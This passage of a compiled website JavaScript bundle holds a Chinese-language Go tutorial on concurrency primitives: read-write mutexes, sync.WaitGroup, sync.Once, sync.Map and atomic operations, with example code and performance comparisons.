cost)\n\n}\n'})}),"\n",(0,i.jsx)(e.p,{children:"\u6211\u4eec\u5047\u8bbe\u6bcf\u4e00\u6b21\u8bfb\u64cd\u4f5c\u90fd\u4f1a\u8017\u65f61ms\uff0c\u800c\u6bcf\u4e00\u6b21\u5199\u64cd\u4f5c\u4f1a\u8017\u65f610ms\uff0c\u6211\u4eec\u5206\u522b\u6d4b\u8bd5\u4f7f\u7528\u4e92\u65a5\u9501\u548c\u8bfb\u5199\u4e92\u65a5\u9501\u6267\u884c10\u6b21\u5e76\u53d1\u5199\u548c1000\u6b21\u5e76\u53d1\u8bfb\u7684\u8017\u65f6\u6570\u636e\u3002"}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-go",children:"// \u4f7f\u7528\u4e92\u65a5\u9501\uff0c10\u5e76\u53d1\u5199\uff0c1000\u5e76\u53d1\u8bfb\ndo(writeWithLock, readWithLock, 10, 1000) // x:10 cost:1.466500951s\n\n// \u4f7f\u7528\u8bfb\u5199\u4e92\u65a5\u9501\uff0c10\u5e76\u53d1\u5199\uff0c1000\u5e76\u53d1\u8bfb\ndo(writeWithRWLock, readWithRWLock, 10, 1000) // x:10 cost:117.207592ms\n"})}),"\n",(0,i.jsx)(e.p,{children:"\u4ece\u6700\u7ec8\u7684\u6267\u884c\u7ed3\u679c\u53ef\u4ee5\u770b\u51fa\uff0c\u4f7f\u7528\u8bfb\u5199\u4e92\u65a5\u9501\u5728\u8bfb\u591a\u5199\u5c11\u7684\u573a\u666f\u4e0b\u80fd\u591f\u6781\u5927\u5730\u63d0\u9ad8\u7a0b\u5e8f\u7684\u6027\u80fd\u3002\u4e0d\u8fc7\u9700\u8981\u6ce8\u610f\u7684\u662f\u5982\u679c\u4e00\u4e2a\u7a0b\u5e8f\u4e2d\u7684\u8bfb\u64cd\u4f5c\u548c\u5199\u64cd\u4f5c\u6570\u91cf\u7ea7\u5dee\u522b\u4e0d\u5927\uff0c\u90a3\u4e48\u8bfb\u5199\u4e92\u65a5\u9501\u7684\u4f18\u52bf\u5c31\u53d1\u6325\u4e0d\u51fa\u6765\u3002"}),"\n",(0,i.jsx)(e.h3,{id:"syncwaitgroup",children:"sync.WaitGroup"}),"\n",(0,i.jsxs)(e.p,{children:["\u5728\u4ee3\u7801\u4e2d\u751f\u786c\u7684\u4f7f\u7528",(0,i.jsx)(e.code,{children:"time.Sleep"}),"\u80af\u5b9a\u662f\u4e0d\u5408\u9002\u7684\uff0cGo\u8bed\u8a00\u4e2d\u53ef\u4ee5\u4f7f\u7528",(0,i.jsx)(e.code,{children:"sync.WaitGroup"}),"\u6765\u5b9e\u73b0\u5e76\u53d1\u4efb\u52a1\u7684\u540c\u6b65\u3002 ",(0,i.jsx)(e.code,{children:"sync.WaitGroup"}),"\u6709\u4ee5\u4e0b\u51e0\u4e2a\u65b9\u6cd5\uff1a"]}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,i.jsxs)(e.table,{children:[(0,i.jsx)(e.thead,{children:(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.th,{style:{textAlign:"center"},children:"\u65b9\u6cd5\u540d"}),(0,i.jsx)(e.th,{style:{textAlign:"center"},children:"\u529f\u80fd"})]})}),(0,i.jsxs)(e.tbody,{children:[(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{style:{textAlign:"center"},children:"func (wg * WaitGroup) Add(delta int)"}),(0,i.jsx)(e.td,{style:{textAlign:"center"},children:"\u8ba1\u6570\u5668+delta"})]}),(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{style:{textAlign:"center"},children:"(wg *WaitGroup) Done()"}),(0,i.jsx)(e.td,{style:{textAlign:"center"},children:"\u8ba1\u6570\u5668-1"})]}),(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{style:{textAlign:"center"},children:"(wg *WaitGroup) Wait()"}),(0,i.jsx)(e.td,{style:{textAlign:"center"},children:"\u963b\u585e\u76f4\u5230\u8ba1\u6570\u5668\u53d8\u4e3a0"})]})]})]}),"\n",(0,i.jsxs)(e.p,{children:[(0,i.jsx)(e.code,{children:"sync.WaitGroup"}),"\u5185\u90e8\u7ef4\u62a4\u7740\u4e00\u4e2a\u8ba1\u6570\u5668\uff0c\u8ba1\u6570\u5668\u7684\u503c\u53ef\u4ee5\u589e\u52a0\u548c\u51cf\u5c11\u3002\u4f8b\u5982\u5f53\u6211\u4eec\u542f\u52a8\u4e86 N \u4e2a\u5e76\u53d1\u4efb\u52a1\u65f6\uff0c\u5c31\u5c06\u8ba1\u6570\u5668\u503c\u589e\u52a0N\u3002\u6bcf\u4e2a\u4efb\u52a1\u5b8c\u6210\u65f6\u901a\u8fc7\u8c03\u7528 Done \u65b9\u6cd5\u5c06\u8ba1\u6570\u5668\u51cf1\u3002\u901a\u8fc7\u8c03\u7528 Wait \u6765\u7b49\u5f85\u5e76\u53d1\u4efb\u52a1\u6267\u884c\u5b8c\uff0c\u5f53\u8ba1\u6570\u5668\u503c\u4e3a 0 \u65f6\uff0c\u8868\u793a\u6240\u6709\u5e76\u53d1\u4efb\u52a1\u5df2\u7ecf\u5b8c\u6210\u3002"]}),"\n",(0,i.jsxs)(e.p,{children:["\u6211\u4eec\u5229\u7528",(0,i.jsx)(e.code,{children:"sync.WaitGroup"}),"\u5c06\u4e0a\u9762\u7684\u4ee3\u7801\u4f18\u5316\u4e00\u4e0b\uff1a"]}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-go",children:'var wg sync.WaitGroup\n\nfunc hello() {\n\tdefer wg.Done()\n\tfmt.Println("Hello Goroutine!")\n}\nfunc main() {\n\twg.Add(1)\n\tgo hello() // \u542f\u52a8\u53e6\u5916\u4e00\u4e2agoroutine\u53bb\u6267\u884chello\u51fd\u6570\n\tfmt.Println("main goroutine done!")\n\twg.Wait()\n}\n'})}),"\n",(0,i.jsxs)(e.p,{children:["\u9700\u8981\u6ce8\u610f",(0,i.jsx)(e.code,{children:"sync.WaitGroup"}),"\u662f\u4e00\u4e2a\u7ed3\u6784\u4f53\uff0c\u8fdb\u884c\u53c2\u6570\u4f20\u9012\u7684\u65f6\u5019\u8981\u4f20\u9012\u6307\u9488\u3002"]}),"\n",(0,i.jsx)(e.h3,{id:"synconce",children:"sync.Once"}),"\n",(0,i.jsx)(e.p,{children:"\u5728\u67d0\u4e9b\u573a\u666f\u4e0b\u6211\u4eec\u9700\u8981\u786e\u4fdd\u67d0\u4e9b\u64cd\u4f5c\u5373\u4f7f\u5728\u9ad8\u5e76\u53d1\u7684\u573a\u666f\u4e0b\u4e5f\u53ea\u4f1a\u88ab\u6267\u884c\u4e00\u6b21\uff0c\u4f8b\u5982\u53ea\u52a0\u8f7d\u4e00\u6b21\u914d\u7f6e\u6587\u4ef6\u7b49\u3002"}),"\n",(0,i.jsxs)(e.p,{children:["Go\u8bed\u8a00\u4e2d\u7684",(0,i.jsx)(e.code,{children:"sync"}),"\u5305\u4e2d\u63d0\u4f9b\u4e86\u4e00\u4e2a\u9488\u5bf9\u53ea\u6267\u884c\u4e00\u6b21\u573a\u666f\u7684\u89e3\u51b3\u65b9\u6848\u2014\u2014",(0,i.jsx)(e.code,{children:"sync.Once"}),"\uff0c",(0,i.jsx)(e.code,{children:"sync.Once"}),"\u53ea\u6709\u4e00\u4e2a",(0,i.jsx)(e.code,{children:"Do"}),"\u65b9\u6cd5\uff0c\u5176\u7b7e\u540d\u5982\u4e0b\uff1a"]}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-go",children:"func (o *Once) Do(f func())\n"})}),"\n",(0,i.jsxs)(e.p,{children:["**\u6ce8\u610f\uff1a**\u5982\u679c\u8981\u6267\u884c\u7684\u51fd\u6570",(0,i.jsx)(e.code,{children:"f"}),"\u9700\u8981\u4f20\u9012\u53c2\u6570\u5c31\u9700\u8981\u642d\u914d\u95ed\u5305\u6765\u4f7f\u7528\u3002"]}),"\n",(0,i.jsx)(e.h4,{id:"\u52a0\u8f7d\u914d\u7f6e\u6587\u4ef6\u793a\u4f8b",children:"\u52a0\u8f7d\u914d\u7f6e\u6587\u4ef6\u793a\u4f8b"}),"\n",(0,i.jsx)(e.p,{children:"\u5ef6\u8fdf\u4e00\u4e2a\u5f00\u9500\u5f88\u5927\u7684\u521d\u59cb\u5316\u64cd\u4f5c\u5230\u771f\u6b63\u7528\u5230\u5b83\u7684\u65f6\u5019\u518d\u6267\u884c\u662f\u4e00\u4e2a\u5f88\u597d\u7684\u5b9e\u8df5\u3002\u56e0\u4e3a\u9884\u5148\u521d\u59cb\u5316\u4e00\u4e2a\u53d8\u91cf\uff08\u6bd4\u5982\u5728init\u51fd\u6570\u4e2d\u5b8c\u6210\u521d\u59cb\u5316\uff09\u4f1a\u589e\u52a0\u7a0b\u5e8f\u7684\u542f\u52a8\u8017\u65f6\uff0c\u800c\u4e14\u6709\u53ef\u80fd\u5b9e\u9645\u6267\u884c\u8fc7\u7a0b\u4e2d\u8fd9\u4e2a\u53d8\u91cf\u6ca1\u6709\u7528\u4e0a\uff0c\u90a3\u4e48\u8fd9\u4e2a\u521d\u59cb\u5316\u64cd\u4f5c\u5c31\u4e0d\u662f\u5fc5\u987b\u8981\u505a\u7684\u3002\u6211\u4eec\u6765\u770b\u4e00\u4e2a\u4f8b\u5b50\uff1a"}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-go",children:'var icons map[string]image.Image\n\nfunc loadIcons() {\n\ticons = map[string]image.Image{\n\t\t"left": loadIcon("left.png"),\n\t\t"up": loadIcon("up.png"),\n\t\t"right": loadIcon("right.png"),\n\t\t"down": loadIcon("down.png"),\n\t}\n}\n\n// Icon \u88ab\u591a\u4e2agoroutine\u8c03\u7528\u65f6\u4e0d\u662f\u5e76\u53d1\u5b89\u5168\u7684\nfunc Icon(name string) image.Image {\n\tif icons == nil {\n\t\tloadIcons()\n\t}\n\treturn icons[name]\n}\n'})}),"\n",(0,i.jsx)(e.p,{children:"\u591a\u4e2a goroutine \u5e76\u53d1\u8c03\u7528Icon\u51fd\u6570\u65f6\u4e0d\u662f\u5e76\u53d1\u5b89\u5168\u7684\uff0c\u73b0\u4ee3\u7684\u7f16\u8bd1\u5668\u548cCPU\u53ef\u80fd\u4f1a\u5728\u4fdd\u8bc1\u6bcf\u4e2a goroutine \u90fd\u6ee1\u8db3\u4e32\u884c\u4e00\u81f4\u7684\u57fa\u7840\u4e0a\u81ea\u7531\u5730\u91cd\u6392\u8bbf\u95ee\u5185\u5b58\u7684\u987a\u5e8f\u3002loadIcons\u51fd\u6570\u53ef\u80fd\u4f1a\u88ab\u91cd\u6392\u4e3a\u4ee5\u4e0b\u7ed3\u679c\uff1a"}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-go",children:'func loadIcons() {\n\ticons = make(map[string]image.Image)\n\ticons["left"] = loadIcon("left.png")\n\ticons["up"] = loadIcon("up.png")\n\ticons["right"] = loadIcon("right.png")\n\ticons["down"] = loadIcon("down.png")\n}\n'})}),"\n",(0,i.jsxs)(e.p,{children:["\u5728\u8fd9\u79cd\u60c5\u51b5\u4e0b\u5c31\u4f1a\u51fa\u73b0\u5373\u4f7f\u5224\u65ad\u4e86",(0,i.jsx)(e.code,{children:"icons"}),"\u4e0d\u662fnil\u4e5f\u4e0d\u610f\u5473\u7740\u53d8\u91cf\u521d\u59cb\u5316\u5b8c\u6210\u4e86\u3002\u8003\u8651\u5230\u8fd9\u79cd\u60c5\u51b5\uff0c\u6211\u4eec\u80fd\u60f3\u5230\u7684\u529e\u6cd5\u5c31\u662f\u6dfb\u52a0\u4e92\u65a5\u9501\uff0c\u4fdd\u8bc1\u521d\u59cb\u5316",(0,i.jsx)(e.code,{children:"icons"}),"\u7684\u65f6\u5019\u4e0d\u4f1a\u88ab\u5176\u4ed6\u7684 goroutine \u64cd\u4f5c\uff0c\u4f46\u662f\u8fd9\u6837\u505a\u53c8\u4f1a\u5f15\u53d1\u6027\u80fd\u95ee\u9898\u3002"]}),"\n",(0,i.jsxs)(e.p,{children:["\u4f7f\u7528",(0,i.jsx)(e.code,{children:"sync.Once"}),"\u6539\u9020\u7684\u793a\u4f8b\u4ee3\u7801\u5982\u4e0b\uff1a"]}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-go",children:'var icons map[string]image.Image\n\nvar loadIconsOnce sync.Once\n\nfunc loadIcons() {\n\ticons = map[string]image.Image{\n\t\t"left": loadIcon("left.png"),\n\t\t"up": loadIcon("up.png"),\n\t\t"right": loadIcon("right.png"),\n\t\t"down": loadIcon("down.png"),\n\t}\n}\n\n// Icon \u662f\u5e76\u53d1\u5b89\u5168\u7684\nfunc Icon(name string) image.Image {\n\tloadIconsOnce.Do(loadIcons)\n\treturn icons[name]\n}\n'})}),"\n",(0,i.jsx)(e.h4,{id:"\u5e76\u53d1\u5b89\u5168\u7684\u5355\u4f8b\u6a21\u5f0f",children:"\u5e76\u53d1\u5b89\u5168\u7684\u5355\u4f8b\u6a21\u5f0f"}),"\n",(0,i.jsxs)(e.p,{children:["\u4e0b\u9762\u662f\u501f\u52a9",(0,i.jsx)(e.code,{children:"sync.Once"}),"\u5b9e\u73b0\u7684\u5e76\u53d1\u5b89\u5168\u7684\u5355\u4f8b\u6a21\u5f0f\uff1a"]}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-go",children:'package singleton\n\nimport (\n "sync"\n)\n\ntype singleton struct {}\n\nvar instance *singleton\nvar once sync.Once\n\nfunc GetInstance() *singleton {\n once.Do(func() {\n instance = &singleton{}\n })\n return instance\n}\n'})}),"\n",(0,i.jsxs)(e.p,{children:[(0,i.jsx)(e.code,{children:"sync.Once"}),"\u5176\u5b9e\u5185\u90e8\u5305\u542b\u4e00\u4e2a\u4e92\u65a5\u9501\u548c\u4e00\u4e2a\u5e03\u5c14\u503c\uff0c\u4e92\u65a5\u9501\u4fdd\u8bc1\u5e03\u5c14\u503c\u548c\u6570\u636e\u7684\u5b89\u5168\uff0c\u800c\u5e03\u5c14\u503c\u7528\u6765\u8bb0\u5f55\u521d\u59cb\u5316\u662f\u5426\u5b8c\u6210\u3002\u8fd9\u6837\u8bbe\u8ba1\u5c31\u80fd\u4fdd\u8bc1\u521d\u59cb\u5316\u64cd\u4f5c\u7684\u65f6\u5019\u662f\u5e76\u53d1\u5b89\u5168\u7684\u5e76\u4e14\u521d\u59cb\u5316\u64cd\u4f5c\u4e5f\u4e0d\u4f1a\u88ab\u6267\u884c\u591a\u6b21\u3002"]}),"\n",(0,i.jsx)(e.h3,{id:"syncmap",children:"sync.Map"}),"\n",(0,i.jsx)(e.p,{children:"Go \u8bed\u8a00\u4e2d\u5185\u7f6e\u7684 map \u4e0d\u662f\u5e76\u53d1\u5b89\u5168\u7684\uff0c\u8bf7\u770b\u4e0b\u9762\u8fd9\u6bb5\u793a\u4f8b\u4ee3\u7801\u3002"}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-go",children:'package main\n\nimport (\n\t"fmt"\n\t"strconv"\n\t"sync"\n)\n\nvar m = make(map[string]int)\n\nfunc get(key string) int {\n\treturn m[key]\n}\n\nfunc set(key string, value int) {\n\tm[key] = value\n}\n\nfunc main() {\n\twg := sync.WaitGroup{}\n\tfor i := 0; i < 10; i++ {\n\t\twg.Add(1)\n\t\tgo func(n int) {\n\t\t\tkey := strconv.Itoa(n)\n\t\t\tset(key, n)\n\t\t\tfmt.Printf("k=:%v,v:=%v\\n", key, get(key))\n\t\t\twg.Done()\n\t\t}(i)\n\t}\n\twg.Wait()\n}\n'})}),"\n",(0,i.jsxs)(e.p,{children:["\u5c06\u4e0a\u9762\u7684\u4ee3\u7801\u7f16\u8bd1\u540e\u6267\u884c\uff0c\u4f1a\u62a5\u51fa",(0,i.jsx)(e.code,{children:"fatal error: concurrent map writes"}),"\u9519\u8bef\u3002\u6211\u4eec\u4e0d\u80fd\u5728\u591a\u4e2a goroutine \u4e2d\u5e76\u53d1\u5bf9\u5185\u7f6e\u7684 map \u8fdb\u884c\u8bfb\u5199\u64cd\u4f5c\uff0c\u5426\u5219\u4f1a\u5b58\u5728\u6570\u636e\u7ade\u4e89\u95ee\u9898\u3002"]}),"\n",(0,i.jsxs)(e.p,{children:["\u50cf\u8fd9\u79cd\u573a\u666f\u4e0b\u5c31\u9700\u8981\u4e3a map \u52a0\u9501\u6765\u4fdd\u8bc1\u5e76\u53d1\u7684\u5b89\u5168\u6027\u4e86\uff0cGo\u8bed\u8a00\u7684",(0,i.jsx)(e.code,{children:"sync"}),"\u5305\u4e2d\u63d0\u4f9b\u4e86\u4e00\u4e2a\u5f00\u7bb1\u5373\u7528\u7684\u5e76\u53d1\u5b89\u5168\u7248 map\u2014\u2014",(0,i.jsx)(e.code,{children:"sync.Map"}),"\u3002\u5f00\u7bb1\u5373\u7528\u8868\u793a\u5176\u4e0d\u7528\u50cf\u5185\u7f6e\u7684 map \u4e00\u6837\u4f7f\u7528 make \u51fd\u6570\u521d\u59cb\u5316\u5c31\u80fd\u76f4\u63a5\u4f7f\u7528\u3002\u540c\u65f6",(0,i.jsx)(e.code,{children:"sync.Map"}),"\u5185\u7f6e\u4e86\u8bf8\u5982",(0,i.jsx)(e.code,{children:"Store"}),"\u3001",(0,i.jsx)(e.code,{children:"Load"}),"\u3001",(0,i.jsx)(e.code,{children:"LoadOrStore"}),"\u3001",(0,i.jsx)(e.code,{children:"Delete"}),"\u3001",(0,i.jsx)(e.code,{children:"Range"}),"\u7b49\u64cd\u4f5c\u65b9\u6cd5\u3002"]}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,i.jsxs)(e.table,{children:[(0,i.jsx)(e.thead,{children:(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.th,{style:{textAlign:"center"},children:"\u65b9\u6cd5\u540d"}),(0,i.jsx)(e.th,{style:{textAlign:"center"},children:"\u529f\u80fd"})]})}),(0,i.jsxs)(e.tbody,{children:[(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{style:{textAlign:"center"},children:"func (m *Map) Store(key, value interface{})"}),(0,i.jsx)(e.td,{style:{textAlign:"center"},children:"\u5b58\u50a8key-value\u6570\u636e"})]}),(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{style:{textAlign:"center"},children:"func (m *Map) Load(key interface{}) (value interface{}, ok bool)"}),(0,i.jsx)(e.td,{style:{textAlign:"center"},children:"\u67e5\u8be2key\u5bf9\u5e94\u7684value"})]}),(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{style:{textAlign:"center"},children:"func (m *Map) LoadOrStore(key, value interface{}) (actual interface{}, loaded bool)"}),(0,i.jsx)(e.td,{style:{textAlign:"center"},children:"\u67e5\u8be2\u6216\u5b58\u50a8key\u5bf9\u5e94\u7684value"})]}),(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{style:{textAlign:"center"},children:"func (m *Map) LoadAndDelete(key interface{}) (value interface{}, loaded bool)"}),(0,i.jsx)(e.td,{style:{textAlign:"center"},children:"\u67e5\u8be2\u5e76\u5220\u9664key"})]}),(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{style:{textAlign:"center"},children:"func (m *Map) Delete(key interface{})"}),(0,i.jsx)(e.td,{style:{textAlign:"center"},children:"\u5220\u9664key"})]}),(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{style:{textAlign:"center"},children:"func (m *Map) Range(f func(key, value interface{}) bool)"}),(0,i.jsx)(e.td,{style:{textAlign:"center"},children:"\u5bf9map\u4e2d\u7684\u6bcf\u4e2akey-value\u4f9d\u6b21\u8c03\u7528f"})]})]})]}),"\n",(0,i.jsxs)(e.p,{children:["\u4e0b\u9762\u7684\u4ee3\u7801\u793a\u4f8b\u6f14\u793a\u4e86\u5e76\u53d1\u8bfb\u5199",(0,i.jsx)(e.code,{children:"sync.Map"}),"\u3002"]}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-go",children:'package main\n\nimport (\n\t"fmt"\n\t"strconv"\n\t"sync"\n)\n\n// \u5e76\u53d1\u5b89\u5168\u7684map\nvar m = sync.Map{}\n\nfunc main() {\n\twg := sync.WaitGroup{}\n\t// \u5bf9m\u6267\u884c20\u4e2a\u5e76\u53d1\u7684\u8bfb\u5199\u64cd\u4f5c\n\tfor i := 0; i < 20; i++ {\n\t\twg.Add(1)\n\t\tgo func(n int) {\n\t\t\tkey := strconv.Itoa(n)\n\t\t\tm.Store(key, n) // \u5b58\u50a8key-value\n\t\t\tvalue, _ := m.Load(key) // \u6839\u636ekey\u53d6\u503c\n\t\t\tfmt.Printf("k=:%v,v:=%v\\n", key, value)\n\t\t\twg.Done()\n\t\t}(i)\n\t}\n\twg.Wait()\n}\n'})}),"\n",(0,i.jsx)(e.h2,{id:"\u539f\u5b50\u64cd\u4f5c",children:"\u539f\u5b50\u64cd\u4f5c"}),"\n",(0,i.jsxs)(e.p,{children:["\u9488\u5bf9\u6574\u6570\u6570\u636e\u7c7b\u578b\uff08int32\u3001uint32\u3001int64\u3001uint64\uff09\u6211\u4eec\u8fd8\u53ef\u4ee5\u4f7f\u7528\u539f\u5b50\u64cd\u4f5c\u6765\u4fdd\u8bc1\u5e76\u53d1\u5b89\u5168\uff0c\u901a\u5e38\u76f4\u63a5\u4f7f\u7528\u539f\u5b50\u64cd\u4f5c\u6bd4\u4f7f\u7528\u9501\u64cd\u4f5c\u6548\u7387\u66f4\u9ad8\u3002Go\u8bed\u8a00\u4e2d\u539f\u5b50\u64cd\u4f5c\u7531\u5185\u7f6e\u7684\u6807\u51c6\u5e93",(0,i.jsx)(e.code,{children:"sync/atomic"}),"\u63d0\u4f9b\u3002"]}),"\n",(0,i.jsx)(e.h3,{id:"atomic\u5305",children:"atomic\u5305"}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,i.jsxs)(e.table,{children:[(0,i.jsx)(e.thead,{children:(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.th,{style:{textAlign:"center"},children:"\u65b9\u6cd5"}),(0,i.jsx)(e.th,{style:{textAlign:"center"},children:"\u89e3\u91ca"})]})}),(0,i.jsxs)(e.tbody,{children:[(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{style:{textAlign:"center"},children:"func LoadInt32(addr *int32) (val int32) func LoadInt64(addr *int64) (val int64) func LoadUint32(addr *uint32) (val uint32) func LoadUint64(addr *uint64) (val uint64) func LoadUintptr(addr *uintptr) (val uintptr) func LoadPointer(addr *unsafe.Pointer) (val unsafe.Pointer)"}),(0,i.jsx)(e.td,{style:{textAlign:"center"},children:"\u8bfb\u53d6\u64cd\u4f5c"})]}),(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{style:{textAlign:"center"},children:"func StoreInt32(addr *int32, val int32) func StoreInt64(addr *int64, val int64) func StoreUint32(addr *uint32, val uint32) func StoreUint64(addr *uint64, val uint64) func StoreUintptr(addr *uintptr, val uintptr) func StorePointer(addr *unsafe.Pointer, val unsafe.Pointer)"}),(0,i.jsx)(e.td,{style:{textAlign:"center"},children:"\u5199\u5165\u64cd\u4f5c"})]}),(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{style:{textAlign:"center"},children:"func AddInt32(addr *int32, delta int32) (new int32) func AddInt64(addr *int64, delta int64) (new int64) func AddUint32(addr *uint32, delta uint32) (new uint32) func AddUint64(addr *uint64, delta uint64) (new uint64) func AddUintptr(addr *uintptr, delta uintptr) (new uintptr)"}),(0,i.jsx)(e.td,{style:{textAlign:"center"},children:"\u4fee\u6539\u64cd\u4f5c"})]}),(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{style:{textAlign:"center"},children:"func SwapInt32(addr *int32, new int32) (old int32) func SwapInt64(addr *int64, new int64) (old int64) func SwapUint32(addr *uint32, new uint32) (old uint32) func SwapUint64(addr *uint64, new uint64) (old uint64) func SwapUintptr(addr *uintptr, new uintptr) (old uintptr) func SwapPointer(addr *unsafe.Pointer, new unsafe.Pointer) (old unsafe.Pointer)"}),(0,i.jsx)(e.td,{style:{textAlign:"center"},children:"\u4ea4\u6362\u64cd\u4f5c"})]}),(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{style:{textAlign:"center"},children:"func CompareAndSwapInt32(addr *int32, old, new int32) (swapped bool) func CompareAndSwapInt64(addr *int64, old, new int64) (swapped bool) func CompareAndSwapUint32(addr *uint32, old, new uint32) (swapped bool) func CompareAndSwapUint64(addr *uint64, old, new uint64) (swapped bool) func CompareAndSwapUintptr(addr *uintptr, old, new uintptr) (swapped bool) func CompareAndSwapPointer(addr *unsafe.Pointer, old, new unsafe.Pointer) (swapped bool)"}),(0,i.jsx)(e.td,{style:{textAlign:"center"},children:"\u6bd4\u8f83\u5e76\u4ea4\u6362\u64cd\u4f5c"})]})]})]}),"\n",(0,i.jsx)(e.h3,{id:"\u793a\u4f8b",children:"\u793a\u4f8b"}),"\n",(0,i.jsx)(e.p,{children:"\u6211\u4eec\u586b\u5199\u4e00\u4e2a\u793a\u4f8b\u6765\u6bd4\u8f83\u4e0b\u4e92\u65a5\u9501\u548c\u539f\u5b50\u64cd\u4f5c\u7684\u6027\u80fd\u3002"}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-go",children:'package main\n\nimport (\n\t"fmt"\n\t"sync"\n\t"sync/atomic"\n\t"time"\n)\n\ntype Counter interface {\n\tInc()\n\tLoad() int64\n}\n\n// \u666e\u901a\u7248\ntype CommonCounter struct {\n\tcounter int64\n}\n\nfunc (c CommonCounter) Inc() {\n\tc.counter++\n}\n\nfunc (c CommonCounter) Load() int64 {\n\treturn c.counter\n}\n\n// \u4e92\u65a5\u9501\u7248\ntype MutexCounter struct {\n\tcounter int64\n\tlock sync.Mutex\n}\n\nfunc (m *MutexCounter) Inc() {\n\tm.lock.Lock()\n\tdefer m.lock.Unlock()\n\tm.counter++\n}\n\nfunc (m *MutexCounter) Load() int64 {\n\tm.lock.Lock()\n\tdefer m.lock.Unlock()\n\treturn m.counter\n}\n\n// \u539f\u5b50\u64cd\u4f5c\u7248\ntype AtomicCounter struct {\n\tcounter int64\n}\n\nfunc (a *AtomicCounter) Inc() {\n\tatomic.AddInt64(&a.counter, 1)\n}\n\nfunc (a *AtomicCounter) Load() int64 {\n\treturn atomic.LoadInt64(&a.counter)\n}\n\nfunc test(c Counter) {\n\tvar wg sync.WaitGroup\n\tstart := time.Now()\n\tfor i := 0; i < 1000; i++ {\n\t\twg.Add(1)\n\t\tgo func() {\n\t\t\tc.Inc()\n\t\t\twg.Done()\n\t\t}()\n\t}\n\twg.Wait()\n\tend := time.Now()\n\tfmt.Println(c.Load(), end.Sub(start))\n}\n\nfunc main() {\n\tc1 := CommonCounter{} // \u975e\u5e76\u53d1\u5b89\u5168\n\ttest(c1)\n\tc2 := MutexCounter{} // \u4f7f\u7528\u4e92\u65a5\u9501\u5b9e\u73b0\u5e76\u53d1\u5b89\u5168\n\ttest(&c2)\n\tc3 := AtomicCounter{} // \u5e76\u53d1\u5b89\u5168\u4e14\u6bd4\u4e92\u65a5\u9501\u6548\u7387\u66f4\u9ad8\n\ttest(&c3)\n}\n'})}),"\n",(0,i.jsxs)(e.p,{children:[(0,i.jsx)(e.code,{children:"atomic"}),"\u5305\u63d0\u4f9b\u4e86\u5e95\u5c42\u7684\u539f\u5b50\u7ea7\u5185\u5b58\u64cd\u4f5c\uff0c\u5bf9\u4e8e\u540c\u6b65\u7b97\u6cd5\u7684\u5b9e\u73b0\u5f88\u6709\u7528\u3002\u8fd9\u4e9b\u51fd\u6570\u5fc5\u987b\u8c28\u614e\u5730\u4fdd\u8bc1\u6b63\u786e\u4f7f\u7528\u3002\u9664\u4e86\u67d0\u4e9b\u7279\u6b8a\u7684\u5e95\u5c42\u5e94\u7528\uff0c\u4f7f\u7528\u901a\u9053\u6216\u8005 sync \u5305\u7684\u51fd\u6570/\u7c7b\u578b\u5b9e\u73b0\u540c\u6b65\u66f4\u597d\u3002"]})]})}function h(n={}){const{wrapper:e}={...(0,r.R)(),...n.components};return e?(0,i.jsx)(e,{...n,children:(0,i.jsx)(a,{...n})}):a(n)}}}]); \ No newline at end of file diff --git a/assets/js/6ac37146.deccd569.js b/assets/js/6ac37146.deccd569.js new file mode 100644 index 0000000..fd9322e --- /dev/null +++ b/assets/js/6ac37146.deccd569.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[9152],{890:(n,e,c)=>{c.d(e,{A:()=>l});const l=c.p+"assets/images/slice_01-09920412e708d7e10aee419407053295.png"},22001:(n,e,c)=>{c.d(e,{A:()=>l});const l=c.p+"assets/images/slice_02-c8192ffbe0ef02f5e1b7709d9e9ee2ac.png"},28453:(n,e,c)=>{c.d(e,{R:()=>a,x:()=>d});var l=c(96540);const s={},i=l.createContext(s);function a(n){const e=l.useContext(i);return l.useMemo(function(){return"function"==typeof n?n(e):{...e,...n}},[e,n])}function d(n){let e;return e=n.disableParentContext?"function"==typeof n.components?n.components(s):n.components||s:a(n.components),l.createElement(i.Provider,{value:e},n.children)}},35951:(n,e,c)=>{c.r(e),c.d(e,{assets:()=>r,contentTitle:()=>d,default:()=>o,frontMatter:()=>a,metadata:()=>l,toc:()=>t});const 